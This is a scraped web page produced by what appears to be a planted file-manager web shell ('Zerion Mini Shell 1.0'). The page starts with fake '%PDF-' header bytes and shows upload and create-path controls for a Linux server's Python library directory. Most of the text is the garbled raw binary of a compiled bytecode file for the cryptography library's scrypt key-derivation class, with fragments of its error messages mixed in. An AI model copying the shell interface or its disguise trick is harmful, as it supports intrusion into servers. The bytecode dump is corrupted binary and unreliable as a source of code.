%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/__pycache__/scrypt.cpython-312.pyc

�

�3Tf2	���ddlmZddlZddlZddlmZddlmZmZm	Z	ddl
mZddl
mZddlmZej"dzZGd	�d
e�Zy)�)�annotationsN)�utils)�AlreadyFinalized�
InvalidKey�UnsupportedAlgorithm)�openssl)�
constant_time)�KeyDerivationFunction�c�>�eZdZ	d											dd�Zdd�Zdd�Zy)	�ScryptNc�<�ddlm}|j�std��||_tjd|�|dks||dz
zdk7rtd��|dkrtd��|dkrtd	��d
|_||_	||_
||_||_y)Nr)�backendz/This version of OpenSSL does not support scrypt�saltr�z-n must be greater than 1 and be a power of 2.z%r must be greater than or equal to 1.z%p must be greater than or equal to 1.F)
�,cryptography.hazmat.backends.openssl.backendr�scrypt_supportedr�_lengthr�_check_bytes�
ValueError�_used�_salt�_n�_r�_p)�selfr�length�n�r�pr�ossls        �K/usr/lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/scrypt.py�__init__zScrypt.__init__s���	
��$�$�&�&�A��
����
���6�4�(��q�5�Q�!�a�%�[�Q�&��L�M�M��q�5��D�E�E��q�5��D�E�E���
���
����������c	� �|jrtd��d|_tjd|�tj
j
||j|j|j|jt|j�S)Nz'Scrypt instances can only be used once.T�key_material)
rrr�_check_byteslike�rust_openssl�kdf�
derive_scryptrrrr�
_MEM_LIMITr)rr&s  r"�derivez
Scrypt.derive<sn���:�:�"�#L�M�M���
�
���~�|�<����-�-���J�J��G�G��G�G��G�G���L�L�
�	
r$c�h�|j|�}tj||�std��y)NzKeys do not match.)r,r	�bytes_eqr)rr&�expected_key�derived_keys    r"�verifyz
Scrypt.verifyMs2���k�k�,�/���%�%�k�<�@��1�2�2�Ar$)N)r�bytesr�intrr3rr3r r3rz
typing.Any)r&r2�returnr2)r&r2r/r2r4�None)�__name__�
__module__�__qualname__r#r,r1�r$r"r
r
sQ��#� �� �� ��	 �
� ��
 �� �D
�"3r$r
)�
__future__r�sys�typing�cryptographyr�cryptography.exceptionsrrr�"cryptography.hazmat.bindings._rustrr(�cryptography.hazmat.primitivesr	�"cryptography.hazmat.primitives.kdfr
�maxsizer+r
r9r$r"�<module>rCsF��
#�
�
����
G�8�D��[�[�A�
�
�73�
"�73r$

Zerion Mini Shell 1.0